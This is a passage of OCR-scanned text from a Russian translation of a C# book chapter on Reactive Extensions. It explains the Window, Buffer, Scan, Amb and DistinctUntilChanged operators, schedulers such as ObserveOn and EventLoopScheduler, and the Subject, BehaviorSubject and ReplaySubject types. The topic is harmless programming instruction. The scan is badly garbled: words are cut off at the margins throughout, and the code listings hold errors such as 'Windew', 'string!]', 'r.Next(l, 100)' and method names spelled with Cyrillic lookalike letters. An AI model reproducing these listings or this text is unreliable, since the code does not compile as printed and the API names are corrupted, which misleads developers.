коде указан двойной шаг, поэтому экран будет обновляться после каждого второго события мыши. Усреднение по пяти последним точ- кам также приведет к увеличению отставания конца линии от курсора. 593
Глава 11 Расхождение, вызванное этими параметрами, не является достаток значительным, чтобы обращать на него внимание, но более агрессивш сглаживание может раздражать. Оператор Window очень похож на Buffer, но вместо того чтобы npej ставлять каждое окно в виде значения IList<T>, он использует источив IObservable<T>. Если бы в листинге 11.24 вы применили оператор Windc к переменной dragPositions, то результатом было бы значение TObserv; le<IObservable<Point>>. На рис. 11.9 показано, как бы этот оператор р ботал в последнем из случаев, проиллюстрированных на риС. 11.7, - ка вы видите, там каждое окно стартует раньше. Он не должен ждать, noi все элементы в окне станут доступными; вместо заполненного списк содержащего все элементы окна, он использует схему, при которой кал дый исходящий элемент представлен в виде источника IObservable<T: выдающего элементы окна в тот момент, когда они становятся доступнь ми. Каждый источник, сгенерированный оператором Window, завершав свою работу сразу после передачи последнего элемента (то есть в тот са мый момент, когда оператор Buffer предоставил бы целое окно). Потс му, если процесс обработки зависит от всего окна целиком, то операто Window не сможет предоставить вам его быстрее, так как это полносты обусловлено частотой появления элементов, но он начнет выдавать зна чения раньше. Одной из неожиданных особенностей источников, сгенерирован™ в этом примере оператором Window, может стать время их запуска. Хот они завершают свою работу сразу после выдачи последнего элемента^ запуск не происходит непосредственно перед выдачей первого. Экземпляр IObservable<T>, представляющий самое первое окне стартует сразу — вы получите его, как только подпишетесь на источим который возвращается оператором и генерирует другие источники. По этому первое окно будет доступно незамедлительно, даже если входя щий поток оператора Window не успел еще ничего сделать. Затем каждо новое окно будет стартовать после получения всех входящих элементов которые оно должно пропустить. В этом примере я использую одина^ ный шаг, потому второе окно появится после выдачи одного элемента третье — после выдачи двух и т. д. Как вы увидите позже в этом разделе, а также в разделе «Операции спланированные по времени», операторы Window и Buffer поддерживаю некоторые другие'стГособы определения начала и завершения работа каждого окна. Общий принцип заключается в следующем: как толью 594
Реактивные расширения наступает момент, когда элемент из источника должен попасть в новое окно, оператор Window не ждет, а создает-это окно заранее. входящий поток заканчивается, все окна, открытые Когда в этот момент, закрываются вместе с ним. Следовательно, мы можем встретить пустые окна. (Фактически, имея одинарный шаг, вы гарантированно получаете одно пустое окно при за- вершении потока.) На рис. 11.9 вы можете наблюдать в самом низу одно окно, которое успело стартовать, но пока что не выдало ни одного элемента. Если входящий поток завершит- ся и больше не будет генерировать новые элементы, вместе с ним завершатся и три источника, которые в этот момент еще работают, включая последний, не успевший ничего выдать. Так как оператор Window доставляет элементы в окна по мере того, как получает их из источника, это позволяет вам вмешиваться в органи- зацию процесса обработки более глубоко, чем при использовании опе- ратора Buffer. Таким образом, можно улучшить общую отзывчивость, 595
Глава 11 если начинать работу как можно раньше. Недостатком оператора Winda является его склонность к усложнению процесса — ваши подписчик начнут получать исходящие значения до того, как станут доступным все элементы для соответствующего входящего окна. Если Buffer предоставляет вам список, который вы можете рассмс треть в свободное время, то с оператором Windows вам придется продш жать работать в рамках технологии Rx с ее последовательностями, п нерирующими элементы по мере их готовности. Ч^юбы выполнить пр помощи оператора Window такое же сглаживание, как в листинге ПЛ вам понадобится код, представленный в листинге 11.25. Листинг 11.25. Сглаживание при помощи оператора window IObservable<Point> smoothed = from points in dragPositions.Windew(5, 2) from totals in points.Aggregate( new { X = 0.0, Y = 0.0, Count = 0 }, (acc, point) => new { X = acc.X + point.X, Y = acc.Y + point.Y, Count = acc.Count + 1 I) where totals.Count > 0 select new Point(totals.X / totals.Count, totals.Y / totals. Count); Этот код оказался чуть более сложным по двум причинам. Прежд всего, я не мог использовать оператор Average. Та его версия, котора основана на проекции и применялась в листинге 11.24, не доступна в 61 блиотеке Rx. Я бы мог обойти это ограничение, первым делом извлека соответствующее свойство при помощи оператора Select, но есть еш одна проблема: теперь мне нужно учитывать возможность возникноы ния пустых окон. (Строго говоря, это не имеет значения в случае с эл( ментом Polyline, который становится все длиннее и длиннее. Но есл я сгруппирую координаты по операции перетаскивания, как это делае! ся в листинге 11.21, то каждый отдельный источник координат закончи работу вместе с завершением перетаскивания, что заставит меня обрай тывать все пустые окна.) Если предоставить оператору Average пустую последовательност он сгенерирует ошибку, поэтому вместо него я использовал операто Aggregate, который позволяет добавить выражение where, чтобы oi фильтровывать пустые окна и не допустить сбоя программы. Но это в единственная причина усложнения. 596
Реактивные расширения Как я уже упоминал ранее, все операторы агрегации из библиоте- ки Rx — Aggregate, Min, Мах и т. д. — работают не так, как при исполь- зовании большинства LINQ-провайдеров. Технология LINQ требует, чтобы они сводили поток к о^нрму значению, поэтому обычно они воз- вращают один элемент. Например, если бы я вызвал версию оператора Aggregate, предоставляемую расширением LINQ to Objects, и передал бы ему аргументы, показанные в листинге 11.25, то оператор вернул бы одно значение анонимного типа, который я применяю для своего на- копителя. Но при использовании библиотеки Rx возвращаемым типом является IObservable<T> (в данном случае Т — это тип вышеупомянутого накопителя). Так тоже производится единичное значение, но теперь оно представлено посредством источника типа lObservable. В отличие от расширения LINQ to Objects, которое может перебирать свой ввод, что- бы, например, вычислить среднее значение, оператор из библиотеки Rx должен ждать, когда источник предоставит ему свои элементы, поэтому он не может их производить и агрегировать, пока источник не сообщит об окончании работы. Так как оператор Aggregate возвращает значение типа IObservable<T>, мне пришлось воспользоваться еще одним выражением from. Благодаря этому источник передается оператору SelectMany, который извлекает из него все значения и передает их в итоговый поток. В нашем случае зна- чение только одно (на каждое окно), потому оператор SelectMany факти- чески достает усредненные координаты из одноэлементного потока. Код в листинге 11.25 немного сложнее, чем в 11.24, и мне кажется, что принцип его работы понять гораздо труднее. Но что еще хуже, он не дает никаких преимуществ. Оператор Aggregate начнет свою работу, как только станет доступным входящий поток, но код не сможет выдать итоговый результат — усредненное значение, — пока не получит все ко- ординаты в окне. Если для того чтобы обновить пользовательский ин- терфейс, мне все равно нужно ждать закрытия окна, то с тем же успехом я могу и дальше использовать оператор Buffer. Итак, в этом конкретном случае оператор Window значительно прибавил нам работы, не предло- жив взамен никакой выгоды. Тем не менее если бы обработка элементов внутри окна не была такой тривиальной или объемы задействованных данных оказались бы настолько большими, что вам не захотелось бы бу- феризировать все окно, прежде чем начинать его обрабатывать, излиш- няя сложность с шансами бы окупилась благодаря возможности начать процесс агрегации без необходимости ждать, пока не станет доступным все входящее окно. 597
Глава 11 Разделение на окна при помощи источников типа lObservable Операторы Window и Buffer предоставляют и другие способы опреде ления тех моментов, в которые окна должны стартовать и закрываться По аналогии с тем, как объединения способны указывать период актив- ности при помощи реализации IObservable<T>, вы можете предоставил функцию, которая возвращает для каждого окна источник, определяю- щий время работы. В листинге 11.26 этот подход применяется для раз- биения клавиатурного ввода на слова. Здесь используется та же пере менная keySource, что и в листинге 11.11. Это последовательность тиш lObservable, которая выдает по элементу на каждое нажатие клавиши. Листинг 11.26. Разбиение текста на слова при помощи окон I0bservable<I0bservable<char>> wordwindows = keySource.Window( () => keySource.FirstAsync(char.IsWhiteSpac^)); IObservable<string> words = from wordwindow in wordwindows from chars in wordwindow.ToArray() select new string(chars).Trim(); .words.Subscribe(word => Console.WriteLine("Слово: " + word)); В данном примере оператор Window немедленно создает окно и залу ш?ает предоставленное мной лямбда-выражение, чтобы определить, ког- да это окно должно закрыться. Окно будет оставаться открытым, пою источник в моем лямбда-выражении не вернет (сгенерирует) значение или не завершится сам. Когда такое произойдет, оператор Window сра- зу же откроет следующее окно, снова запуская мое лямбда-выражение чтобы при помощи источника определить длину второго окна и т. д Здесь лямбда-выражение выдает символ пробела, введенный с клавиа туры, потому окно будет закрыто после следующего пробела. Другим! словами, этот код разбивает входящую последовательность на ряд окон каждое из которых содержит какое-то количество непробельных симво лов (оно может равняться нулю), а за ними идет один символ пробела. Последовательность, возвращаемая оператором Window, представля ет каждое окно в виде значение типа IObservable<char>. Второе выраже- ние в листинге 11.26 — это запрос, который конвертирует каждое окш в строку. (Если ввод содержит несколько пробельных символов подряд мы получим пустую строку. Это согласуется с поведением метода Split из типа String, который выполняет такое же разбиение, только в актив ной манере. Если вам не нравится, вы всегда можете отфильтровать пу- стые строки при помощи выражения where.) 598
Реактивные расширения Так как в листинге 11.26 используется оператор Window, он начнет создавать символы для всех доступных слов по мере того, как пользова- тель будет их вводить. Но, учитывая, что мой запрос вызывает из окна метод ТоАггау, в итоге окажется, что прежде чем что-нибудь сгенериро- вать, оператору Window придется подождать, пока окно не будет запол- нено. Это означает, что с точки зрения эффективности оператор Buffer ничем бы не отличался — но он был бы проще в использовании. Как видно из листинга 11.27, с оператором Buffer отпадает необходимость во втором выражении from для получения полного окна, так как он вы- дает окна только тогда, когда они закрываются. Листинг 11.27. Разбиение на слова при помощи оператора Buffer I0bservable<IList<char>> wordwindows = keySource.Buffer( () => keySource.FirstAsync(char.IsWhiteSpace)); IObservable<string> words = from wordWindow in wordwindows select new string(wordWindow.ТоАггау()).Trim(); Оператор Scan Оператор Scan очень похож на стандартную версию Aggregate, за исключением одного отличия. Вместо того чтобы производить единый результат, он выдает последовательность, которая, в свою очередь, со- держит каждое накопленное значение. Чтобы это проиллюстрировать, я сначала создам класс, который будет играть роль очень простой моде- ли для торговли ценными бумагами. Этот класс, показанный в листин- ге 11.28, также определяет статический метод, в целях проверки воз- вращающий поток торговых транзакций, сгенерированный случайным образом. Листинг 11.28. Простая торговля ценными бумагами с использованием тестового потока class Trade { public string StockName { get; set; } public decimal UnitPrice { get; set; } public int Number { get; set; } public static IObservable<Trade> Teststream() { return Observable.Create<Trade>(obs =>
Глава 11 string!] names = { "MSFT", "GOOGL”, "AAPL" }; var r = new Random(0); for (int i = 0; i < 100; ++i) var t = new Trade StockName = names[r.Next(names.Length)], UnitPrice = r.Next(l, 100), Number = r.Next(10, 1000) * I }; obs.OnNext(t); obs.OnCompleted(); return default(IDisposable); В листинге 11.29 показана обычная версия оператора Aggregate, bi числяющая количество ценных бумаг, участвовавших в торговле, п тем сложения свойств Number из каждой торговой операции. (Обьга для этого используется оператор Sum, но я привожу данный примеря сравнения с оператором Scan.) Листинг 11.29. Сложение при помощи оператора Aggregate IObservable<Trade> trades = Trade.Teststream(); IObservable<long> tradevolume = trades.Aggregate( 0L, (total, trade) => total + trade.Number); tradevolume.Subscribe(Console.WriteLine); Данный код выводит одно число, так как источник, сгенерировш ный оператором Aggregate, выдает только одно значение. В листинге 11.30 показан практически такой же код, только с ж пользованием оператора Scan. Листинг 11.30. Сложение с использованием оператора Scan IObservable<Trade> trades = Trade.Teststream(); IObservable<long> tradevolume = trades.Scan( 0L, (total, trade) => total + trade.Number); tradevolume.Subscribe(Console.WriteLine);
Реактивные расширения Вместо возвращения одного выходного элемента данный код вы- дает по одному значению для каждого входящего потока, что приводит к сложению всех элементов, которые источник сгенерировал к этому моменту. Оператор Scan особенно полезен в случаях, когда вам нужно выполнить что-то похожее на агрегацию, но для бесконечного потока (основанного, например, на источнике событий). Оператор Aggregate не используется в таких ситуациях, поскольку он не ничего выдает, пока не завершится входящий поток. Оператор Amb Библиотека Rx содержит оператор с загадочным названием Amb (см. следующую врезку, «Почему Amb?»). Он берет любое количество последовательностей типа lObservable и смотрит, которая из них сдела- ет что-то первой. (В документации написано, какой из входящих источ- ников «прореагирует» первым. Это означает вызов любого из трех мето- дов интерфейса IObserver<T>.) Входящий поток, первым выполнивший какое-то действие, по сути, и становится исходящим значением опера- тора Amb, который начинает передавать все его действия, немедленно от- писываясь от других потоков. (Если любой из них сгенерирует элемен- ты после того, как это сделает первый поток, но перед тем, как оператор отменит подписку, они будут проигнорированы.) Почему Amb? Название оператора Amb является сокращением от слова «ambiguous» (неоднозначный). Похоже, это нарушает рекомендации по про- ектированию библиотек классов, составленные самой компани- ей Microsoft, в которых сокращения запрещены. Исключение — те случаи, когда сокращенная форма используется более широко, чем полное название, и если она будет более понятной даже для неспе- циалистов. Название этого оператора давно устоялось — впервые он был задокументирован в 1963 году, и его автором является Джон Маккарти (создатель языка программирования LISP). Однако при- менялся он не очень широко, поэтому его название не успело стать понятным для обывателей. Тем не менее полное название тоже не вносит особой ясности. Если вы еще не знакомы с этим оператором, то слово Ambiguous поможет вам понять принцип его работы не больше, чем просто Amb. Однако если вы его уже встречали, то вы знаете, что он называется Amb. Поэ- 601
Глава 11 тому никаких очевидных недостатков от использования сокращен нет. Напротив — так будет лучше для людей, уже знакомых с ним. ' Еще одной причиной, по которой разработчики технологии Rxbq пользовались этим названием, было желание отдать дань уважен Джону Маккарти, чья деятельность оказала огромное влияние информатику в целом и на проекты LINQ и Rx в частности. (Рабо Маккарти напрямую повлияла на многие возможности, которые о суждались в этой и предыдущей главах.) Вы можете использовать данный оператор для оптимизации врев ни отклика системы, отправляя запрос нескольким компьютерам в ct верном пуле и применяя тот результат, что придет первым. (Конеш такой подход сопряжен с определенными рисками, не самый последи из которых заключается в том, что это может^серьезно увеличить общ] нагрузку на вашу систему, и вместо увеличения скорости все только; медлится. Тем не менее существуют определенные сценарии, в котор осторожное применение данного подхода может оказаться успешным Оператор DistinctUntilChanged Последний оператор, который я собираюсь описать в этом разда очень простой, но довольно полезный. Оператор DistinctUntilChang удаляет дубликаты, расположенные рядом. Предположим, у вас ес источник типа lObserver, который постоянно производит элементы,i имеет тенденцию выдавать одно и то же значение несколько раз подр Если вам нужно действовать только при появлении разных значенв то оператор DistinctUntilChanged как раз для этого подойдет. Элема сгенерированный его входящим потоком, будет передан дальше toj ко в том случае, если он отличается от предыдущего. Я показал еще все операторы из состава библиотеки Rx, с которыми мне бы хотело вас познакомить. Но все те, что остались (о них мы поговорим в разд ле «Операции, спланированные по времени»), имеют временной acnei И прежде чем к ним приступать, нужно объяснить, как технология рассчитывает время. Планировщики Библиотека Rx проделывает определенную работу при помощи ш нировщиков. Планировщик — это объект, который берет на себя три: 602
Реактивные расширения г--------------------------------------------------------------------- ^чи. Во-первых, он решает, когда выполнять что-либо. Например, когда родписчик подключается к холодному источнику, планировщик опреде- ляет, должны ли элементы источника быть доставлены подписчику неза- медлительно или это нужно отложить. Вторая задача — работа в опреде- ленном контексте. К примеру, планировщик может решить, что процесс Должен выполняться в конкретном потоке. Третья задача — следить за временем. Некоторые операции, выполняющиеся с использованием Технологии Rx, зависят от времени; чтобы обеспечить предсказуемое доведение и дать возможность тестировать код, планировщики предо- ставляют виртуализированную временную модель, благодаря чему Rx- Сод может не полагаться на текущее время, которое предоставляет класс DateTimeOf fset из состава платформы .NET. | Первые две задачи планировщика иногда могут выполняться неза- висимо друг от друга. К примеру, библиотека Rx предоставляет несколь- ко планировщиков для применения в приложениях с пользовательским интерфейсом. В операционной системе Winodws 8 это планировщик CoreDispatcherScheduler, использующий платформу .NET Core; для ^PF-приложений существует Dispatcherscheduler; для программ на Основе библиотеки Windows Forms есть Controlscheduler; существует Сакже более универсальная версия планировщика под названием Sync ironizationContextScheduler, которая может работать с любой техноло- гией пользовательского интерфейса, но при этом не дает такого полного гонтроля над мелочами, как другие разновидности, специфичные для сдельных платформ. Все они имеют общую особенность: следят за тем, ггобы работа выполнялась в контексте, подходящем для доступа к объ- ектам пользовательского интерфейса, что обычно означает выполнение I рамках определенного потока. Если код, который планирует работу, наполняется в каком-то другом потоке, то у планировщика может не хставаться выбора, кроме как отложить ее, так как он не может запу- стить ее до тех пор, пока пользовательский интерфейс не будет готов. Это может означать, что вам придется ждать завершения конкретного ютока, чем бы он ни занимался. В таком случае соблюдение правильно- п контекста влияет на то, когда именно выполняется работа. Хотя подобное происходит не всегда. Библиотека Rx предоставляет [ва планировщика, которые используют текущий поток. Один из них, taediateScheduler, чрезвычайно прост: он начинает выполнять работу разу, как только та запланирована. Когда вы даете этому планировщику адачу, он не возвращает значение, пока ее не решит (у данного объекта 1ет алгоритма планирования как такового — он просто выполняет любую 603
Глава 11 работу, как только вы ему ее поручите). Второй, CurrentThreadSchedul .поддерживает рабочую очередь, что придает ему некоторую гибка при расстановке приоритетов. Например, если определенная задача была запланирована на ври когда выполняется какая-то другая часть работы, данный планирс щик может позволить доделать текущую задачу, прежде чем переход! к следующей. Если в очереди или в процессе выполнения нет элемент то планировщик CurrentThreadScheduler начинает выполнять рабе немедленно, точно так же, как ImmediateScheduler. Когда часть рабо1 которая была запущена, завершается, CurrentThreadScheduler npoci тривает очередь и, если она не пустая, запускает следующую задачу.’ ким образом, он пытается выполнить всю работу как можно быстрее, в отличие от ImmediateScheduler, он не запускает новую задачу, пока закончилась предыдущая. / Указание планировщиков Операции, выполняющиеся с использованием технологии Rx, час не проходят через планировщики. Многие источники вызывают метр своих подписчиков напрямую. Источники, которые способны быст и последовательно сгенерировать большое количество элементов, вст] чаются не так часто. Например, методы Range и Repeat, предназначенн для создания последовательностей, используют планировщик, что регулировать частоту, с которой они выдают элементы новым подга чикам. Вы можете указать для них какой-то конкретный планировщ или позволить им выбрать тот, что предоставляется по умолчанию, также можете задать планировщик явным образом, даже если испа зуемые вами источники не принимают его в качестве аргумента. Метод ObserveOn Указывать планировщик принято при помощи одной из версий i тода расширения ObserveOn, содержащихся в различных статическ классах внутри пространства имен System.Reactive.Linq*. Это полез в том случае, если вы хотите обрабатывать события в определенном к( * Перегруженный версии разбросаны по нескольким классам, так как некоторы! этих методов расширения предназначены для конкретной технологии. К примеру, и груженный метод ObserveOn, содержащийся в платформе WPF, работает напрямую! классом Dispatcher, игнорируя интерфейс IScheduler. 604
Реактивные расширения тексте (таком как поток пользовательского интерфейса), даже если они йогут возникать в других местах. Вы можете вызвать метод ObserveOn из любого экземпляра JObservable<T>, передавая реализацию I Scheduler ; в ответ вы получите другой экземпляр IObservable<T>. Если вы подпишетесь на источник, который может завершиться, то его методы OnNext, OnCompleted и OnError будут вызываться через указанный вами планировщик. В листинге 11.31 этот подход используется, чтобы гарантировать безопасное обновление пользовательского интерфейса внутри обработчика обратного вызова, принадлежащего элементу. Листинг 11.31. Метод ObserveOn IObservable<Trade> trades = GetTradeStreamO ; IObservable<Trade> tradesInUiContext = trades. ObserveOn (Dispatcherscheduler. Current); tradesInUiContext .Subscribe (t => I tradelnfoTextBox.AppendText (string. Format ( "(0}: {1} по цене {2}\r\n", t.StockName, t.Number, t.UnitPrice)); I); В этом примере я использовал статическое свойство Current из класса Dispatcherscheduler, которое возвращает планировщик, вы- полняющий работу через диспетчер текущего потока, Dispatcher (это класс, управляющий циклом сообщений пользовательского интерфей- са в WPF-приложениях). Здесь я мог бы воспользоваться альтернатив- ным перегруженным методом ObserveOn. В классе Dispatcherscheduler определено несколько методов расширения, которые представляют перегруженные версии, специфичные для платформы WPF; они по- зволяют вызывать метод ObserveOn, передавая ему всего один объект Dispatcher. Я мог бы применить их в вышеприведенном примере для элемента пользовательского интерфейса, применив код из листин- га 11.32. Листинг 11.32. Перегруженная версия метода ObserveOn, специфичная для платформы WPF IObservable<Trade> tradesInUiContext = trades.ObserveOn(this.Dispatcher); Преимущество этой перегруженной версии заключается в том, что в момент вызова метода ObserveOn мне не нужно находиться в по- токе пользовательского интерфейса. Свойство Current’ из листин- 605
Глава 11 га 11.31 работает только в том случае, если вы находитесь в одном! токе с нужным вам диспетчером. Для ситуации, когда мы уже в эт потоке, есть еще более простой способ. Я могу воспользоваться ме1 дом расширения ObserveOnDispatcher, который получает планировщ DispatcherScheduler для диспетчера текущего потока, как показа в листинге 11.33. Листинг 11.33. Планирование работы источника lObservable в рамках текущего диспетчера IObservable<Trade> tradesInUiContext = trades.ObserveOnDispatcher(); f Метод SubscribeOn I Большинство методов расширения ObserveOn имеют соответст^ ющие им методы SubscribeOn. (Есть также/SubscribeOnDispatcher* аналог метода ObserveOnDispatcher.) Вместо того чтобы использовав планировщик для вызова всех методов подписчика, SubscribeOn на- зывает с его помощью только метод Subscribe из источника. И есл вы отписываетесь при помощи метода Dispose, то он тоже будет за- зываться через планировщик. Это может иметь большое значение дм холодных источников, так как многие из них выполняют в своих ме- тодах Subscribe важную работу, а некоторые даже сразу выдают все свои элементы. В целом нет никакой гарантии соответствия между контв ч стом, в котором вы подписываетесь на источник, и тем, да 4?,' производимые им элементы будут доставляться подписчиц Некоторые источники станут оповещать вас в том контексте в котором была выполнена подписка, но делать это будут да- леко не все. Если вам необходимо принимать уведомлен* в конкретном контексте, используйте метод ObserveOn (есв только источник не предоставляет возможность указать пла- нировщик). Явное указание планировщиков Некоторые операции принимают планировщик в качестве аргумет Вы можете встретит^^кой подход в конструкциях, способных сгенери- ровать большое количество элементов, а также в операциях, зависящш от времени (описанием которых я займусь позже). Метод Observable
Реактивные расширения Range, генерирующий последовательность чисел, имеет в конце необя- зательный аргумент для передачи планировщика, чтобы контролиро- вать контекст, в котором эти числа генерируются. Это также относится I API-интерфейсам для интеграции экземпляров IObservable<T> с дру- гими источниками, такими как IEnumerable<T>, о чем пойдет речь в раз- деле «Интеграция». 1 г * Еще один сценарии, где обычно есть возможность предоставить пла- мировщик, относится к источникам, которые комбинируют входящие потоки. Ранее вы видели, как оператор Merge объединяет исходящие дотоки нескольких последовательностей. Вы можете указать планиров- щик, чтобы заставить этот оператор подписаться на источник, находя- щийся в определенном контексте. е И, наконец, любые операции, спланированные по времени, полага- ются на планировщик. Некоторые из них я покажу в разделе «Опера- ции, спланированные по времени». Встроенные планировщики Я уже описывал планировщики для работы с пользовательским интерфейсом: CoreDispatcherScheduler (для приложений с интерфей- сом в стиле Windows 8), DispatcherScheduler (для платформы WPF), Controlscheduler (для библиотеки Windows Forms), SynchronizationCon textscheduler, а также два планировщика для выполнения работы в те- кущем потоке, CurrentThreadScheduler и ImmediateScheduler. Но есть еще несколько достойных внимания. Планировщик EventLoopScheduler выполняет все рабочие элемен- ты в заданном потоке. Он создаст новый поток за вас, или вы можете предоставить таковой при помощи метода обратного вызова; этот метод будет запущен, когда планировщик захочет, чтобы вы создали поток. Вы можете использовать планировщик EventLoopScheduler применительно к входящим данным в графических приложениях. Он позволяет выне- сти работу из потока пользовательского интерфейса, сохраняя отзывчи- вость приложения; при этом он следит за тем, чтобы обработка выпол- нялась в одном потоке, благодаря чему можно упростить код, связанный с параллелизмом. Планировщик NewThreadScheduler создает поток для каждого рабоче- го элемента верхнего уровня, который нужно обработать. (Если элемент 607
Глава 11 порождает дополнительные элементы, то все они будут выполнять в том же потоке.) Это подходит только для тех случаев, когда вам нуже проделывать большое количество работы для каждого элемента, так га в операционной системе Windows расходы на запуск и завершение ш токов относительно велики. Обычно для параллельной обработки тага элементов лучше использовать пул потоков. (Из-за ограничений, кои рые накладываются на применение потоков в версии платформы .NE Core, планировщик NewThreadScheduler не является частью перенос^ мой версии библиотеки Rx.) в Планировщик TaskPoolScheduler использует пул потоков из библий теки Task Parallel Library (TPL). Библиотека TPL, описываемая в гл$ ве 17, предоставляет эффективный пул, который способен повторй использовать один и тот же поток для множества рабочих элементов, снижая затраты на создание и запуск потоков. / Планировщик ThreadPoolScheduler использует для запуска зада пул потоков из среды выполнения CLR. По принципу работы эта тех- нология не отличается от пула, предоставляемого библиотекой TPL, но является чуть более старой (библиотека TPL появилась в платформе .NET 4.0, тогда как пул потоков из среды выполнения CLR существует с версии 1.0). В некоторых сценариях данный планировщик не так эф- фективен. Библиотека Rx предоставляет его по двум причинам. Во-первых, не все разновидности платформы .NET поддерживают библиотеку TPL (она не входила в состав Silverlight до версии 5, под- держка Rx появилась в Silverlight 4). Во-вторых, из-за того, что би- блиотека Rx способна генерировать чрезвычайно короткие рабочие элементы, их обработка с использованием TPL иногда может вызывать существенное повышение активности сборщика мусора; планировщик ThreadPoolScheduler способен производить для каждой операции мень- ше объектов, поэтому иногда он может работать лучше. Планировщик Testscheduler полезен в ситуациях, когда вам нужно протестировать свой код, связанный с временным аспектом, не прибегая к выполнению тестов в режиме реального времени. Поддержку хроно- метража предоставляют все планировщики, но Testscheduler позволяет вам выбрать точную частоту, с которой он должен работать, эмулируя течение времени. Таким образом, если вам необходимо проверить, что случится через 30 секунд,, то вы можете просто сказать планировщи- ку Testscheduler, что эти 30 секунд уже прошли, и вам не нужно будет ждать. 608
Реактивные расширения Не каждый из этих планировщиков доступен на всех плат- формах. Например, библиотека Windows Forms не поддержи- вается на платформах Silverlight, Windows Phone и .NET Core, так что планировщик Controlscheduler присутствует только в полноценной версии .NET Framework. Среда выполнения Windows ограничивает вас в выборе средств для создания потоков, поэтому платформа .NET Core не поддерживает ни NewThreadScheduler, ни ThreadPoolScheduler (хотя поддержка планировщика TaskPoolScheduler все же присутствует). Субъекты В библиотеке Rx определены различные субъекты — классы, кото- рые реализуют оба интерфейса, IObserver<T> и IObservable<T>. Иногда Они могут быть полезны, если вам нужно, чтобы библиотека Rx предо- ставляла полноценные реализации этих интерфейсов, но обычные ме- тоды Observable.Create или Subscribe вам не подходят. Допустим, вам Оужно предоставить источник типа lObservable, и в вашем коде есть не- сколько разных мест, в которых вы бы хотели его создавать. Это плохо Согласуется с моделью подписок на основе функций обратного вызова, используемой методом Create, — в таком случае данную проблему бу- дет проще решить при помощи субъектов. Некоторые виды субъектов имеют ^дополнительные возможности, но я начну с самого простого — Subject<T>. Субъект Subject<T> Реализация IObserver<T>, принадлежащая субъекту Subject<T>, про- сто передает вызовы всем подписчикам, которые подключились при по- мощи интерфейса IObservable<T>. Таким образом, если вы подпишете на субъект Subject<T> один или несколько источников и затем вызовете OnNext, то субъект запустит этот метод из всех подписчиков. То же самое касается методов OnCompleted и OnError. Такая многоадресная передача похожа на возможности, предоставляемые оператором Publish*, кото- рый я использовал в листинге 11.11; вот еще один способ избавиться от всего того кода в моем источнике KeyWatcher, следящем за подпис- * На самом деле, в текущей версии библиотеки Rx оператор Publish использует у себя внутри субъект Subject<T>. 609
Глава 11 чиками, — результат показан в листинге 11.34. Эта версия значительн проще, чем оригинал, представленный в листинге 11.7, однако по свое простоте она уступает варианту с делегатами из листинга 11.11. Листинг 11.34. Реализация источника iobservable<T> при помощи субъекта Subject<T> public class KeyWatcher IObservable<char> । { Z private readonly Subject<char> _subject = new Subject<char>(); public IDisposable Subscribe(IObserver<char> observer) { return _subject.Subscribe(observer); } public void Run() < { while (true) { _subject.OnNext(Console.ReadKey(true).KeyChar) ; } ) } Код метода Subscribe управляется субъектом Subject<char>, поэт му все объекты, которые пытаются подписаться на источник KeyWatchc в итоге подписываются не на него, а на субъект. Затем мой цикл мож просто вызвать метод OnNext из субъекта, и тот уже позаботится, что( этот вызов был передан всем подписчикам. На самом деле я могу сделать все еще проще и вместо того, что! наследовать весь мой тип от lObservable, предоставлять источник в ви отдельного свойства (как показано в листинге 11.35. Это не только упр стит мой код, но и позволит классу KeyWatcher предоставлять сразу! сколько источников, если такое понадобится. Листинг 11.35. Предоставление источника iObservable<T> в виде свойства public class KeyWatcher { private readonly Subject<char> _subject = new Subject<char>() ; public IObservable<char> Keys { get { return _subject; } } public void Run() ( 610
Реактивные расширения while (true) ( _subject.OnNext(Console.ReadKey(true).KeyChar); } 1 Этот код все еще не настолько прост, как сочетание метода Observable.Create и оператора PublishT'KOTopoe я использовал в ли- стинге 11.11, но он имеет два преимущества. Во-первых, теперь стало проще понять, когда выполняется цикл, генерирующий уведомления о нажатиях клавиш. В листинге 11.11 я контролировал поведение этого цикла, но для любого человека, который не так тесно знаком с принци- пом работы метода Publish, было бы не совсем понятно, за счет чего это оказалось достигнуто. Я нахожу листинг 11.35 чуть менее запутанным. Во-вторых, при желании я мог бы использовать этот субъект в любой части моего класса KeyWatcher, тогда как в листинге 11.11 имелось толь- ко одно место, из которого можно было легко предоставить элемент — функция обратного вызова, запущенная методом Observable.Create. Честно говоря, в этом примере мне не требовалась такая гибкость, но если она вам все же понадобится, то, скорее всего, субъект Subject<T> будет более предпочтительным выбором, чем использование функций обратного вызова. Субъект BehaviorSub ject<T> Субъект Behavior Sub ject<T> выглядит почти точь-в-точь как 6ubject<T>, за исключением одной детали: любой объект типа lObserver, впервые выполнивший подписку, гарантированно получает значение напрямую, если вы только не завершили работу субъекта вызовом мето- да OnComplete. (Если вы уже завершили субъект, он просто будет вызы- вать метод OnComplete для всех последующих подписчиков.) Он помнит последний переданный им элемент и выдает его новым подписчикам. При создании субъекта BehaviorSub ject<T> вы должны предоставить на- чальное значение, которое будет передаваться новым подписчикам до первого вызова метода OnNext. Можете думать об этом субъекте как о переменной, выполненной по технологии Rx. Это некая сущность, чье значение вы способны извлечь в любой момент, и оно также изменяется со временем. Но поскольку такая сущность имеет реактивную природу, вы можете подписаться на 611
Глава 11 нее, чтобы получить ее значение, а ваш подписчик будет уведомляться о любых дальнейших изменениях, пока вы не отмените подписку. Этот субъект обладает сочетанием активных и пассивных характе ристик. Он сразу же будет передавать значение любому подписчику, чл делает его похожим на холодный источник, но потом он начнет транс лировать новые значения всем подписчикам, как это делают горячие ис точники. Есть еще один субъект с похожим сочетанием свойств, но еп «холодная» сущность выражена чуть более ярко. Субъект ReplaySubject<T> Субъект ReplaySubject<T> может записывать любое значение, полу ченное им из любого источника, на который вы его подпишете (или ж< если вызывать его методы напрямую, он будет помнить каждый элемен предоставленный вами через метод OnNext). Каждый новый подписчи будет получать все элементы, успевшие пройти через данный субъек Таким образом, это выглядит очень похоже на обычный холодный и< точник — вместо того чтобы просто получить самое последнее значени как было бы в случае с субъектом Behavior Sub ject<T>, вы получаете пси ный набор элементов. Тем не менее как только субъект ReplaySubject<! предоставит конкретному подписчику все записанные элементы, егош ведение по отношению к этому подписчику начнет больше напоминат поведение горячего источника, так как он продолжит предоставлять но вые входящие элементы. Итак, в долгосрочной перспективе каждый подписчик субъект! ReplaySubject<T> по умолчанию будет видеть все элементы, которьв этот субъект получает из своего источника, независимо от того, наскольр ко рано или поздно была выполнена подписка. В своей стандартной конфигурации субъект ReplaySubject<T>coBpe- менем будет потреблять все больше и больше памяти, пока не отпишете! от источника. Нет никакой возможности сообщить ему, что у него боль- ше нет новых подписчиков и что можно избавиться от старых элемен- тов, что он уже передал всем подключенным к 